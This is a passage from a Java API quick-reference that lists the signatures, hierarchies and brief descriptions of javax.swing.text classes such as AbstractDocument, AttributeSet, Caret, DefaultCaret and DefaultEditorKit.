 | public String getText (int offset, int length) throws BadLocationException; |
 | public void getText (int offset, int length, Segment txt) throws BadLocationException; |
 | public void insertString (int offs, String str, AttributeSet a) throws BadLocationException; |
 | public final void putProperty (Object key, Object value); |
 | public void remove (int offs, int len) throws BadLocationException; |
 | public void removeDocumentListener (javax.swing.event.DocumentListener listener); |
 | public void removeUndoableEditListener (javax.swing.event.UndoableEditListener listener); |
 | public void render (Runnable r); |
// | Protected Instance Methods
 | protected javax.swing.text.Element createBranchElement (javax.swing.text.Element parent, AttributeSet a); |
 | protected javax.swing.text.Element createLeafElement (javax.swing.text.Element parent, AttributeSet a, int p0, int p1); |
 | protected void fireChangedUpdate (javax.swing.event.DocumentEvent e); |
 | protected void fireInsertUpdate (javax.swing.event.DocumentEvent e); |
 | protected void fireRemoveUpdate (javax.swing.event.DocumentEvent e); |
 | protected void fireUndoableEditUpdate (javax.swing.event.UndoableEditEvent e); |
 | protected final AbstractDocument.AttributeContext getAttributeContext (); |
 | protected final AbstractDocument.Content getContent (); |
 | protected final Thread getCurrentWriter (); | synchronized
 | protected void insertUpdate (AbstractDocument.DefaultDocumentEvent chng, AttributeSet attr); |
 | protected void postRemoveUpdate (AbstractDocument.DefaultDocumentEvent chng); |
 | protected void removeUpdate (AbstractDocument.DefaultDocumentEvent chng); | empty
 | protected final void writeLock (); | synchronized
 | protected final void writeUnlock (); | synchronized
// | Protected Instance Fields
 | protected javax.swing.event.EventListenerList listenerList ; |
}

Hierarchy: Object-->AbstractDocument(Document,Serializable)

Subclasses: DefaultStyledDocument, PlainDocument

AbstractDocument.AbstractElement | Java 1.2
javax.swing.text | serializable

This abstract class is a partial implementation of the Element interface. Document objects derived from AbstractDocument are composed of Element objects derived from AbstractDocument.AbstractElement. In addition to implementing Element, this class also implements the MutableAttributeSet interface, so it can serve as its own attribute set. And it implements the TreeNode interface, which can make it easy to display the element structure of an AbstractDocument using the JTree component (a useful debugging technique). Applications typically do not use or subclass this class. See also the BranchElement and LeafElement subclasses, both of which are also inner classes of AbstractDocument.

public abstract class AbstractDocument.AbstractElement implements javax.swing.text.Element, MutableAttributeSet, Serializable, javax.swing.tree.TreeNode {
// | Public Constructors
 | public AbstractElement (javax.swing.text.Element parent, AttributeSet a);
// | Public Instance Methods
 | public void dump (java.io.PrintStream psOut, int indentAmount);
// | Methods Implementing AttributeSet
 | public boolean containsAttribute (Object name, Object value);
 | public boolean containsAttributes (AttributeSet attrs);
 | public AttributeSet copyAttributes ();
 | public Object getAttribute (Object attrName);
 | public int getAttributeCount ();
 | public java.util.Enumeration getAttributeNames ();
 | public AttributeSet getResolveParent ();
 | public boolean isDefined (Object attrName);
 | public boolean isEqual (AttributeSet attr);
// | Methods Implementing Element
 | public AttributeSet getAttributes ();
 | public Document getDocument ();
 | public abstract javax.swing.text.Element getElement (int index);
 | public abstract int getElementCount ();
 | public abstract int getElementIndex (int offset);
 | public abstract int getEndOffset ();
 | public String getName ();
 | public javax.swing.text.Element getParentElement ();
 | public abstract int getStartOffset ();
 | public abstract boolean isLeaf ();
// | Methods Implementing MutableAttributeSet
 | public void addAttribute (Object name, Object value);
 | public void addAttributes (AttributeSet attr);
 | public void removeAttribute (Object name);
 | public void removeAttributes (AttributeSet attrs);
 | public void removeAttributes (java.util.Enumeration names);
 | public void setResolveParent (AttributeSet parent);
// | Methods Implementing TreeNode
 | public abstract java.util.Enumeration children ();
 | public abstract boolean getAllowsChildren ();
 | public javax.swing.tree.TreeNode getChildAt (int childIndex);
 | public int getChildCount ();
 | public int getIndex (javax.swing.tree.TreeNode node);
 | public javax.swing.tree.TreeNode getParent ();
// | Protected Methods Overriding Object
 | protected void finalize () throws Throwable;
}

Subclasses: AbstractDocument.BranchElement, AbstractDocument.LeafElement

Returned By: DefaultStyledDocument.createDefaultRoot(), PlainDocument.createDefaultRoot(), javax.swing.text.html.HTMLDocument.createDefaultRoot()

AbstractDocument.AttributeContext Java 1.2
javax.swing.text

This interface defines methods that accept an immutable AttributeSet argument and return another immutable AttributeSet object. These methods can be used to implement the MutableAttributeSet interface entirely in terms of immutable AttributeSet objects. Most documents frequently reuse a small set of common attribute sets. The use of immutable AttributeSet objects is desirable because they may be cached and shared, resulting in substantial memory savings. JTextComponent uses the attribute set caching technique by default, and typical applications never need to use or implement this interface. See StyleContext for a concrete implementation of this interface.

public abstract static interface AbstractDocument.AttributeContext {
// | Public Instance Methods
 | public abstract AttributeSet addAttribute (AttributeSet old, Object name, Object value);
 | public abstract AttributeSet addAttributes (AttributeSet old, AttributeSet attr);
 | public abstract AttributeSet getEmptySet ();
 | public abstract void reclaim (AttributeSet a);
 | public abstract AttributeSet removeAttribute (AttributeSet old, Object name);
 | public abstract AttributeSet removeAttributes (AttributeSet old, AttributeSet attrs);
 | public abstract AttributeSet removeAttributes (AttributeSet old, java.util.Enumeration names);
}

Implementations: StyleContext

Passed To: AbstractDocument.AbstractDocument()

Returned By: AbstractDocument.getAttributeContext()

AbstractDocument.BranchElement | Java 1.2
javax.swing.text | serializable

This class is an Element implementation suitable for Document elements that contain other elements (e.g., paragraph elements).

public class AbstractDocument.BranchElement extends AbstractDocument.AbstractElement {
// | Public Constructors
 | public BranchElement (javax.swing.text.Element parent, AttributeSet a); |
// | Public Instance Methods
 | public javax.swing.text.Element positionToElement (int pos); |
 | public void replace (int offset, int length, javax.swing.text.Element[ ] elems); |
// | Public Methods Overriding AbstractDocument.AbstractElement
 | public java.util.Enumeration children (); |
 | public boolean getAllowsChildren (); | constant
 | public javax.swing.text.Element getElement (int index); |
 | public int getElementCount (); |
 | public int getElementIndex (int offset); |
 | public int getEndOffset (); |
 | public String getName (); |
 | public int getStartOffset (); |
 | public boolean isLeaf (); | constant
// | Public Methods Overriding Object
 | public String toString (); |
}

Subclasses: DefaultStyledDocument.SectionElement, javax.swing.text.html.HTMLDocument.BlockElement

AbstractDocument.Content Java 1.2
javax.swing.text

This interface defines an abstract representation of an editable piece of text. An AbstractDocument.Content object is used to represent the contents of any Document derived from AbstractDocument. A Content implementation must be able to return arbitrary text segments, insert and delete text, and return Position objects that mark positions within the content. If the Content implementation allows undo operations, the insertString() method should return an UndoableEdit object; otherwise it should return null. Applications typically do not use or implement this interface. See StringContent and GapContent for two implementations.

public abstract static interface AbstractDocument.Content {
// | Public Instance Methods
 | public abstract Position createPosition (int offset) throws BadLocationException;
 | public abstract void getChars (int where, int len, Segment txt) throws BadLocationException;
 | public abstract String getString (int where, int len) throws BadLocationException;
 | public abstract javax.swing.undo.UndoableEdit insertString (int where, String str) throws BadLocationException;
 | public abstract int length ();
 | public abstract javax.swing.undo.UndoableEdit remove (int where, int nitems) throws BadLocationException;
}

Implementations: GapContent, StringContent

Passed To: AbstractDocument.AbstractDocument(), DefaultStyledDocument.DefaultStyledDocument(), PlainDocument.PlainDocument(), javax.swing.text.html.HTMLDocument.HTMLDocument()

Returned By: AbstractDocument.getContent()

AbstractDocument.DefaultDocumentEvent | Java 1.2
javax.swing.text | serializable

This class is the javax.swing.event.DocumentEvent implementation used by documents derived from AbstractDocument. It is also an UndoableEdit and therefore can be used with the undo architecture of javax.swing.undo.

public class AbstractDocument.DefaultDocumentEvent extends javax.swing.undo.CompoundEdit implements javax.swing.event.DocumentEvent {
// | Public Constructors
 | public DefaultDocumentEvent (int offs, int len, javax.swing.event.DocumentEvent.EventType type); |
// | Methods Implementing DocumentEvent
 | public javax.swing.event.DocumentEvent.ElementChange getChange (javax.swing.text.Element elem); |
 | public Document getDocument (); |
 | public int getLength (); |
 | public int getOffset (); |
 | public javax.swing.event.DocumentEvent.EventType getType (); |
// | Public Methods Overriding CompoundEdit
 | public boolean addEdit (javax.swing.undo.UndoableEdit anEdit); |
 | public String getPresentationName (); |
 | public String getRedoPresentationName (); |
 | public String getUndoPresentationName (); |
 | public boolean isSignificant (); | constant
 | public void redo () throws javax.swing.undo.CannotRedoException; |
 | public String toString (); |
 | public void undo () throws javax.swing.undo.CannotUndoException; |
}

Passed To: AbstractDocument.{insertUpdate(), postRemoveUpdate(), removeUpdate()}, DefaultStyledDocument.{insertUpdate(), removeUpdate()}, DefaultStyledDocument.ElementBuffer.{change(), insert(), remove()}, PlainDocument.{insertUpdate(), removeUpdate()}, javax.swing.text.html.HTMLDocument.insertUpdate()

AbstractDocument.ElementEdit | Java 1.2
javax.swing.text | serializable

This class is the implementation of DocumentEvent.ElementEdit used by AbstractDocument.

public static class AbstractDocument.ElementEdit extends javax.swing.undo.AbstractUndoableEdit implements javax.swing.event.DocumentEvent.ElementChange {
// | Public Constructors
 | public ElementEdit (javax.swing.text.Element e, int index, javax.swing.text.Element[ ] removed, javax.swing.text.Element[ ] added);
// | Methods Implementing DocumentEvent.ElementChange
 | public javax.swing.text.Element[ ] getChildrenAdded ();
 | public javax.swing.text.Element[ ] getChildrenRemoved ();
 | public javax.swing.text.Element getElement ();
 | public int getIndex ();
// | Public Methods Overriding AbstractUndoableEdit
 | public void redo () throws javax.swing.undo.CannotRedoException;
 | public void undo () throws javax.swing.undo.CannotUndoException;
}
AbstractDocument.LeafElement | Java 1.2
javax.swing.text | serializable

This class is an Element implementation suitable for Document elements that do not contain children elements (e.g., runs of styled text).

public class AbstractDocument.LeafElement extends AbstractDocument.AbstractElement {
// | Public Constructors
 | public LeafElement (javax.swing.text.Element parent, AttributeSet a, int offs0, int offs1); |
// | Public Methods Overriding AbstractDocument.AbstractElement
 | public java.util.Enumeration children (); | constant
 | public boolean getAllowsChildren (); | constant
 | public javax.swing.text.Element getElement (int index); | constant
 | public int getElementCount (); | constant
 | public int getElementIndex (int pos); | constant
 | public int getEndOffset (); |
 | public String getName (); |
 | public int getStartOffset (); |
 | public boolean isLeaf (); | constant
// | Public Methods Overriding Object
 | public String toString (); |
}

Subclasses: javax.swing.text.html.HTMLDocument.RunElement

AbstractWriter Java 1.2
javax.swing.text

This abstract class provides a simple but convenient starting place for applications that want to write a textual representation of a Document or Element tree. The abstract write() method must be implemented by a subclass. This method must iterate over the Document or Element tree (using the ElementIterator provided by getElementIterator()) and write out a textual description of the Element objects using the other methods of the class. Applications do not typically use or subclass this class.

public abstract class AbstractWriter {
// | Protected Constructors
 | protected AbstractWriter (java.io.Writer w, javax.swing.text.Element root); |
 | protected AbstractWriter (java.io.Writer w, Document doc); |
 | protected AbstractWriter (java.io.Writer w, javax.swing.text.Element root, int pos, int len); |
 | protected AbstractWriter (java.io.Writer w, Document doc, int pos, int len); |
// | Protected Constants
 | protected static final char NEWLINE ; | ='\12'
// | Protected Instance Methods
 | protected void decrIndent (); |
 | protected Document getDocument (); |
 | protected ElementIterator getElementIterator (); |
 | protected String getText (javax.swing.text.Element elem) throws BadLocationException; |
 | protected void incrIndent (); |
 | protected void indent () throws java.io.IOException; |
 | protected boolean inRange (javax.swing.text.Element next); |
 | protected void setIndentSpace (int space); |
 | protected void setLineLength (int l); |
 | protected void text (javax.swing.text.Element elem) throws BadLocationException, java.io.IOException; |
 | protected abstract void write () throws java.io.IOException, BadLocationException; |
 | protected void write (String str) throws java.io.IOException; |
 | protected void write (char ch) throws java.io.IOException; |
 | protected void writeAttributes (AttributeSet attr) throws java.io.IOException; |
}

Subclasses: javax.swing.text.html.HTMLWriter, javax.swing.text.html.MinimalHTMLWriter

AttributeSet Java 1.2
javax.swing.text

This interface defines the basic methods required for a set of attributes. It defines a mapping from attribute names, or keys, to attribute values. Both keys and values can be arbitrary objects. The StyleConstants class defines a number of commonly used attribute keys. The AttributeSet interface defines four inner interfaces. These empty interfaces serve as marker interfaces and should be implemented by an attribute key object to specify the general category of the key.

An AttributeSet can have another AttributeSet as its parent. When you look up a value with getAttribute(), the local mappings are searched first. If no matching attribute is found locally, however, the search continues (recursively) on the parent AttributeSet. The parent attribute set is itself stored as an attribute, using the key defined by the ResolveAttribute constant. Call getResolveParent() to query the parent AttributeSet. The isDefined() and getAttributeNames() methods operate only on the local attribute mappings and do not use the parent AttributeSet.

See also MutableAttributeSet, SimpleAttributeSet, Style, and StyleConstants.

public abstract interface AttributeSet {
// | Public Constants
 | public static final Object NameAttribute ;
 | public static final Object ResolveAttribute ;
// | Inner Classes
 | ;
 | ;
 | ;
 | ;
// | Public Instance Methods
 | public abstract boolean containsAttribute (Object name, Object value);
 | public abstract boolean containsAttributes (AttributeSet attributes);
 | public abstract AttributeSet copyAttributes ();
 | public abstract Object getAttribute (Object key);
 | public abstract int getAttributeCount ();
 | public abstract java.util.Enumeration getAttributeNames ();
 | public abstract AttributeSet getResolveParent ();
 | public abstract boolean isDefined (Object attrName);
 | public abstract boolean isEqual (AttributeSet attr);
}

Implementations: MutableAttributeSet, StyleContext.SmallAttributeSet

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Type Of: DefaultStyledDocument.AttributeUndoableEdit.{copy, newAttributes}, SimpleAttributeSet.EMPTY

AttributeSet.CharacterAttribute Java 1.2
javax.swing.text

This marker interface should be implemented by any object that serves as the key for a character attribute.

public abstract static interface AttributeSet.CharacterAttribute {
}

Implementations: StyleConstants.CharacterConstants, StyleConstants.ColorConstants, StyleConstants.FontConstants

AttributeSet.ColorAttribute Java 1.2
javax.swing.text

This marker interface should be implemented by any object that serves as the key for a color attribute.

public abstract static interface AttributeSet.ColorAttribute {
}

Implementations: StyleConstants.ColorConstants

AttributeSet.FontAttribute Java 1.2
javax.swing.text

This marker interface should be implemented by any object that serves as the key for a font attribute.

public abstract static interface AttributeSet.FontAttribute {
}

Implementations: StyleConstants.FontConstants

AttributeSet.ParagraphAttribute Java 1.2
javax.swing.text

This marker interface should be implemented by any object that serves as the key for a paragraph attribute.

public abstract static interface AttributeSet.ParagraphAttribute {
}

Implementations: StyleConstants.ParagraphConstants

BadLocationException | Java 1.2
javax.swing.text | serializable checked

Thrown by methods throughout javax.swing.text when they are passed a document position that does not exist.

public class BadLocationException extends Exception {
// | Public Constructors
 | public BadLocationException (String s, int offs);
// | Public Instance Methods
 | public int offsetRequested ();
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->BadLocationException

Thrown By: Too many methods to list.

BoxView Java 1.2
javax.swing.text

This class is a CompositeView that arranges its children into a row or a column.

public class BoxView extends CompositeView {
// | Public Constructors
 | public BoxView (javax.swing.text.Element elem, int axis);
// | Public Instance Methods
 | public final int getHeight ();
 | public final int getWidth ();
// | Public Methods Overriding CompositeView
 | public java.awt.Shape getChildAllocation (int index, java.awt.Shape a);
 | public java.awt.Shape modelToView (int pos, java.awt.Shape a, Position.Bias b) throws BadLocationException;
 | public void replace (int offset, int length, View[ ] elems);
 | public int viewToModel (float x, float y, java.awt.Shape a, Position.Bias[ ] bias);
// | Protected Methods Overriding CompositeView
 | protected void childAllocation (int index, java.awt.Rectangle alloc);
 | protected boolean flipEastAndWestAtEnds (int position, Position.Bias bias);
 | protected View getViewAtPoint (int x, int y, java.awt.Rectangle alloc);
 | protected boolean isAfter (int x, int y, java.awt.Rectangle innerAlloc);
 | protected boolean isBefore (int x, int y, java.awt.Rectangle innerAlloc);
// | Public Methods Overriding View
 | public float getAlignment (int axis);
 | public float getMaximumSpan (int axis);
 | public float getMinimumSpan (int axis);
 | public float getPreferredSpan (int axis);
 | public int getResizeWeight (int axis);
 | public void paint (java.awt.Graphics g, java.awt.Shape allocation);
 | public void preferenceChanged (View child, boolean width, boolean height);
 | public void setSize (float width, float height);
// | Protected Instance Methods
 | protected void baselineLayout (int targetSpan, int axis, int[ ] offsets, int[ ] spans);
 | protected SizeRequirements baselineRequirements (int axis, SizeRequirements r);
 | protected SizeRequirements calculateMajorAxisRequirements (int axis, SizeRequirements r);
 | protected SizeRequirements calculateMinorAxisRequirements (int axis, SizeRequirements r);
 | protected final int getOffset (int axis, int childIndex);
 | protected final int getSpan (int axis, int childIndex);
 | protected boolean isAllocationValid ();
 | protected void layout (int width, int height);
 | protected void layoutMajorAxis (int targetSpan, int axis, int[ ] offsets, int[ ] spans);
 | protected void layoutMinorAxis (int targetSpan, int axis, int[ ] offsets, int[ ] spans);
 | protected void paintChild (java.awt.Graphics g, java.awt.Rectangle alloc, int index);
}

Hierarchy: Object-->View(SwingConstants)-->CompositeView-->BoxView

Subclasses: javax.swing.text.ParagraphView, TableView, TableView.TableCell, TableView.TableRow, WrappedPlainView, javax.swing.text.html.BlockView

Caret Java 1.2
javax.swing.text

This interface defines the methods that must be implemented by a class that wants to keep track of the insertion cursor position and draw the insertion cursor for a JTextComponent. In the nomenclature of text editing, the dot is the current insertion position, and the mark is some other position in the text. The text between the dot and the mark is implicitly selected, and certain editing commands operate on this text. The setDot() method sets the position of both the dot and the mark, while moveDot() sets the position of the dot, leaving the mark where it is. The paint() method is called when the insertion cursor needs to be drawn or redrawn. setBlinkRate() specifies how often the cursor should blink. If the cursor does blink, Caret is responsible for causing this blinking; paint() is not automatically called to implement blinking. The Caret should notify any registered ChangeListener objects when the position of the cursor changes.

Although the Caret interface allows the appearance and behavior of the JTextComponent cursor to be customized, it is uncommon to do this. Most applications are perfectly content to use DefaultCaret, which is the Caret implementation installed by all the standard look-and-feels.

public abstract interface Caret {
// | Event Registration Methods (by event name)
 | public abstract void addChangeListener (javax.swing.event.ChangeListener l);
 | public abstract void removeChangeListener (javax.swing.event.ChangeListener l);
// | Property Accessor Methods (by property name)
 | public abstract int getBlinkRate ();
 | public abstract void setBlinkRate (int rate);
 | public abstract int getDot ();
 | public abstract void setDot (int dot);
 | public abstract java.awt.Point getMagicCaretPosition ();
 | public abstract void setMagicCaretPosition (java.awt.Point p);
 | public abstract int getMark ();
 | public abstract boolean isSelectionVisible ();
 | public abstract void setSelectionVisible (boolean v);
 | public abstract boolean isVisible ();
 | public abstract void setVisible (boolean v);
// | Public Instance Methods
 | public abstract void deinstall (JTextComponent c);
 | public abstract void install (JTextComponent c);
 | public abstract void moveDot (int dot);
 | public abstract void paint (java.awt.Graphics g);
}

Implementations: DefaultCaret

Passed To: JTextComponent.setCaret()

Returned By: DefaultEditorKit.createCaret(), EditorKit.createCaret(), JTextComponent.getCaret()

ChangedCharSetException | Java 1.2
javax.swing.text | serializable checked

This subclass of IOException is thrown by the read() method of an EditorKit when it reads a document that it expects to be encoded in a given character set and finds that the document specifies that it is encoded using some other character set. Typically, this happens when reading HTML documents that specify their encoding using a <META> tag.

public class ChangedCharSetException extends java.io.IOException {
// | Public Constructors
 | public ChangedCharSetException (String charSetSpec, boolean charSetKey);
// | Public Instance Methods
 | public String getCharSetSpec ();
 | public boolean keyEqualsCharSet ();
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->java.io.IOException-->ChangedCharSetException

Thrown By: javax.swing.text.html.parser.DocumentParser.handleEmptyTag(), javax.swing.text.html.parser.Parser.{handleEmptyTag(), startTag()}

ComponentView Java 1.2
javax.swing.text

This class is a View that encapsulates a Component and allows it to be displayed within a Document.

public class ComponentView extends View {
// | Public Constructors
 | public ComponentView (javax.swing.text.Element elem);
// | Public Instance Methods
 | public final Component getComponent ();
// | Public Methods Overriding View
 | public float getAlignment (int axis);
 | public float getMaximumSpan (int axis);
 | public float getMinimumSpan (int axis);
 | public float getPreferredSpan (int axis);
 | public java.awt.Shape modelToView (int pos, java.awt.Shape a, Position.Bias b) throws BadLocationException;
 | public void paint (java.awt.Graphics g, java.awt.Shape a);
 | public void setParent (View p);
 | public void setSize (float width, float height);
 | public int viewToModel (float x, float y, java.awt.Shape a, Position.Bias[ ] bias);
// | Protected Instance Methods
 | protected Component createComponent ();
}

Hierarchy: Object-->View(SwingConstants)-->ComponentView

Subclasses: javax.swing.text.html.FormView, javax.swing.text.html.ObjectView

CompositeView Java 1.2
javax.swing.text

This abstract class is a View that can have children.

public abstract class CompositeView extends View {
// | Public Constructors
 | public CompositeView (javax.swing.text.Element elem); |
// | Public Instance Methods
 | public void append (View v); |
 | public void insert (int offs, View v); |
 | public void removeAll (); |
 | public void replace (int offset, int length, View[ ] views); |
// | Public Methods Overriding View
 | public void changedUpdate (javax.swing.event.DocumentEvent e, java.awt.Shape a, ViewFactory f); |
 | public java.awt.Shape getChildAllocation (int index, java.awt.Shape a); |
 | public int getNextVisualPositionFrom (int pos, Position.Bias b, java.awt.Shape a, int direction, Position.Bias[ ] biasRet) throws BadLocationException; |
 | public View getView (int n); |
 | public int getViewCount (); |
 | public void insertUpdate (javax.swing.event.DocumentEvent e, java.awt.Shape a, ViewFactory f); |
 | public java.awt.Shape modelToView (int pos, java.awt.Shape a, Position.Bias b) throws BadLocationException; |
 | public java.awt.Shape modelToView (int p0, Position.Bias b0, int p1, Position.Bias b1, java.awt.Shape a) throws BadLocationException; |
 | public void removeUpdate (javax.swing.event.DocumentEvent e, java.awt.Shape a, ViewFactory f); |
 | public void setParent (View parent); |
 | public int viewToModel (float x, float y, java.awt.Shape a, Position.Bias[ ] bias); |
// | Protected Instance Methods
 | protected abstract void childAllocation (int index, java.awt.Rectangle a); |
 | protected boolean flipEastAndWestAtEnds (int position, Position.Bias bias); | constant
 | protected final short getBottomInset (); |
 | protected java.awt.Rectangle getInsideAllocation (java.awt.Shape a); |
 | protected final short getLeftInset (); |
 | protected int getNextEastWestVisualPositionFrom (int pos, Position.Bias b, java.awt.Shape a, int direction, Position.Bias[ ] biasRet) throws BadLocationException; |
 | protected int getNextNorthSouthVisualPositionFrom (int pos, Position.Bias b, java.awt.Shape a, int direction, Position.Bias[ ] biasRet) throws BadLocationException; |
 | protected final short getRightInset (); |
 | protected final short getTopInset (); |
 | protected abstract View getViewAtPoint (int x, int y, java.awt.Rectangle alloc); |
 | protected View getViewAtPosition (int pos, java.awt.Rectangle a); |
 | protected int getViewIndexAtPosition (int pos); |
 | protected abstract boolean isAfter (int x, int y, java.awt.Rectangle alloc); |
 | protected abstract boolean isBefore (int x, int y, java.awt.Rectangle alloc); |
 | protected void loadChildren (ViewFactory f); |
 | protected final void setInsets (short top, short left, short bottom, short right); |
 | protected final void setParagraphInsets (AttributeSet attr); |
}

Hierarchy: Object-->View(SwingConstants)-->CompositeView

Subclasses: BoxView

DefaultCaret | Java 1.2
javax.swing.text | cloneable serializable shape

This is the default Caret implementation installed on all JTextComponent components by all of the standard look-and-feel implementations. It displays the caret as a thin vertical line between characters. Most applications do not have to use this class directly and can simply rely on its automatic use by JTextComponent.

public class DefaultCaret extends java.awt.Rectangle implements Caret, java.awt.event.FocusListener, java.awt.event.MouseListener, java.awt.event.MouseMotionListener {
// | Public Constructors
 | public DefaultCaret (); |
// | Event Registration Methods (by event name)
 | public void addChangeListener (javax.swing.event.ChangeListener l); | Implements:Caret
 | public void removeChangeListener (javax.swing.event.ChangeListener l); | Implements:Caret
// | Methods Implementing Caret
 | public void addChangeListener (javax.swing.event.ChangeListener l); |
 | public void deinstall (JTextComponent c); |
 | public int getBlinkRate (); | default:0
 | public int getDot (); | default:0
 | public java.awt.Point getMagicCaretPosition (); | default:null
 | public int getMark (); | default:0
 | public void install (JTextComponent c); |
 | public boolean isSelectionVisible (); | default:false
 | public boolean isVisible (); | default:false
 | public void moveDot (int dot); |
 | public void paint (java.awt.Graphics g); |
 | public void removeChangeListener (javax.swing.event.ChangeListener l); |
 | public void setBlinkRate (int rate); |
 | public void setDot (int dot); |
 | public void setMagicCaretPosition (java.awt.Point p); |
 | public void setSelectionVisible (boolean vis); |
 | public void setVisible (boolean e); |
// | Methods Implementing FocusListener
 | public void focusGained (java.awt.event.FocusEvent e); |
 | public void focusLost (java.awt.event.FocusEvent e); |
// | Methods Implementing MouseListener
 | public void mouseClicked (java.awt.event.MouseEvent e); |
 | public void mouseEntered (java.awt.event.MouseEvent e); | empty
 | public void mouseExited (java.awt.event.MouseEvent e); | empty
 | public void mousePressed (java.awt.event.MouseEvent e); |
 | public void mouseReleased (java.awt.event.MouseEvent e); | empty
// | Methods Implementing MouseMotionListener
 | public void mouseDragged (java.awt.event.MouseEvent e); |
 | public void mouseMoved (java.awt.event.MouseEvent e); | empty
// | Public Methods Overriding Rectangle
 | public boolean equals (Object obj); |
 | public String toString (); |
// | Protected Instance Methods
 | protected void adjustVisibility (java.awt.Rectangle nloc); |
 | protected void damage (java.awt.Rectangle r); | synchronized
 | protected void fireStateChanged (); |
 | protected final JTextComponent getComponent (); |
 | protected Highlighter.HighlightPainter getSelectionPainter (); |
 | protected void moveCaret (java.awt.event.MouseEvent e); |
 | protected void positionCaret (java.awt.event.MouseEvent e); |
 | protected final void repaint (); | synchronized
// | Protected Instance Fields
 | protected transient javax.swing.event.ChangeEvent changeEvent ; |
 | protected javax.swing.event.EventListenerList listenerList ; |
}

Hierarchy: Object-->java.awt.geom.RectangularShape(Cloneable,java.awt.Shape)-->java.awt.geom.Rectangle2D-->java.awt.Rectangle(Serializable,java.awt.Shape)-->DefaultCaret(Caret,java.awt.event.FocusListener(java.util.EventListener),java.awt.event.MouseListener(java.util.EventListener),java.awt.event.MouseMotionListener(java.util.EventListener))

DefaultEditorKit | Java 1.2
javax.swing.text | cloneable serializable

This class is an EditorKit for plain text. You can configure a JEditorPane to display plain, unformatted text using an instance of this class. The actions defined by this class are used by default by JTextComponent. DefaultEditorKit defines a number of String constants, which it uses as the names of the various Action objects it returns from its getActions() method.

public class DefaultEditorKit extends EditorKit {
// | Public Constructors
 | public DefaultEditorKit (); |
// | Public Constants
 | public static final String backwardAction ; | ="caret-backward"
 | public static final String beepAction ; | ="beep"
 | public static final String beginAction ; | ="caret-begin"
 | public static final String beginLineAction ; | ="caret-begin-line"
 | public static final String beginParagraphAction ; | ="caret-begin-paragraph"
 | public static final String beginWordAction ; | ="caret-begin-word"
 | public static final String copyAction ; | ="copy-to-clipboard"
 | public static final String cutAction ; | ="cut-to-clipboard"
 | public static final String defaultKeyTypedAction ; | ="default-typed"
 | public static final String deleteNextCharAction ; | ="delete-next"
 | public static final String deletePrevCharAction ; | ="delete-previous"
 | public static final String downAction ; | ="caret-down"
 | public static final String endAction ; | ="caret-end"
 | public static final String endLineAction ; | ="caret-end-line"
 | public static final String EndOfLineStringProperty ; | ="__EndOfLine__"
 | public static final String endParagraphAction ; | ="caret-end-paragraph"
 | public static final String endWordAction ; | ="caret-end-word"
 | public static final String forwardAction ; | ="caret-forward"
 | public static final String insertBreakAction ; | ="insert-break"
 | public static final String insertContentAction ; | ="insert-content"
 | public static final String insertTabAction ; | ="insert-tab"
 | public static final String nextWordAction ; | ="caret-next-word"
 | public static final String pageDownAction ; | ="page-down"
 | public static final String pageUpAction ; | ="page-up"
 | public static final String pasteAction ; | ="paste-from-clipboard"
 | public static final String previousWordAction ; | ="caret-previous-word"
 | public static final String readOnlyAction ; | ="set-read-only"
 | public static final String selectAllAction ; | ="select-all"
 | public static final String selectionBackwardAction ; | ="selection-backward"
 | public static final String selectionBeginAction ; | ="selection-begin"
 | public static final String selectionBeginLineAction ; | ="selection-begin-line"
 | public static final String selectionBeginParagraphAction ; | ="selection-begin-paragraph"
 | public static final String selectionBeginWordAction ; | ="selection-begin-word"
 | public static final String selectionDownAction ; | ="selection-down"
 | public static final String selectionEndAction ; | ="selection-end"
 | public static final String selectionEndLineAction ; | ="selection-end-line"
 | public static final String selectionEndParagraphAction ; | ="selection-end-paragraph"
 | public static final String selectionEndWordAction ; | ="selection-end-word"
 | public static final String selectionForwardAction ; | ="selection-forward"
 | public static final String selectionNextWordAction ; | ="selection-next-word"
 | public static final String selectionPreviousWordAction ; | ="selection-previous-word"
 | public static final String selectionUpAction ; | ="selection-up"
 | public static final String selectLineAction ; | ="select-line"
 | public static final String selectParagraphAction ; | ="select-paragraph"
 | public static final String selectWordAction ; | ="select-word"
 | public static final String upAction ; | ="caret-up"
 | public static final String writableAction ; | ="set-writable"
// | Inner Classes
 | ; |
 | ; |
 | ; |
 | ; |
 | ; |
 | ; |
 | ; |
 | ; |
// | Public Methods Overriding EditorKit
 | public Object clone (); |
 | public Caret createCaret (); | constant
 | public Document createDefaultDocument (); |
 | public Action[ ] getActions (); |
 | public String getContentType (); | default:"text/plain"
 | public ViewFactory getViewFactory (); | constant default:null
 | public void read (java.io.Reader in, Document doc, int pos) throws java.io.IOException, BadLocationException; |
 | public void read (java.io.InputStream in, Document doc, int pos) throws java.io.IOException, BadLocationException; |
 | public void write (java.io.Writer out, Document doc, int pos, int len) throws java.io.IOException, BadLocationException; |
 | public void write (java.io.OutputStream out, Document doc, int pos, int len) throws java.io.IOException, BadLocationException; |
}

Hierarchy: Object-->EditorKit(Cloneable,Serializable)-->DefaultEditorKit

Subclasses: StyledEditorKit

DefaultEditorKit.BeepAction | Java 1.2
javax.swing.text | cloneable serializable

This Action causes a beep.

public static class DefaultEditorKit.BeepAction extends TextAction {
// | Public Constructors
 | public BeepAction ();
// | Public Methods Overriding AbstractAction
 | public void actionPerformed (java.awt.event.ActionEvent e);
}
DefaultEditorKit.CopyAction | Java 1.2
javax.swing.text | cloneable serializable

This action causes the selected region of the JTextComponent to be placed on the system clipboard and made available for pasting.

public static class DefaultEditorKit.CopyAction extends TextAction {
// | Public Constructors
 | public CopyAction ();
// | Public Methods Overriding AbstractAction
 | public void actionPerformed (java.awt.event.ActionEvent e);
}
DefaultEditorKit.CutAction | Java 1.2
javax.swing.text | cloneable serializable

This Action deletes the selected region of the JTextComponent and makes its contents available for pasting on the system clipboard.

public static class DefaultEditorKit.CutAction extends TextAction {
// | Public Constructors
 | public CutAction ();
// | Public Methods Overriding AbstractAction
 | public void actionPerformed (java.awt.event.ActionEvent e);
}
DefaultEditorKit.DefaultKeyTypedAction | Java 1.2
javax.swing.text | cloneable serializable

This Action is invoked when no other action is registered for a keystroke. It inserts the action command string (which is usually the key that triggered the action) at the current cursor position. Or, if there is currently a selection, it replaces the selected text with this text. This is the most commonly used action in a JTextComponent, since it is used to insert all characters the user types.

public static class DefaultEditorKit.DefaultKeyTypedAction extends TextAction {
// | Public Constructors
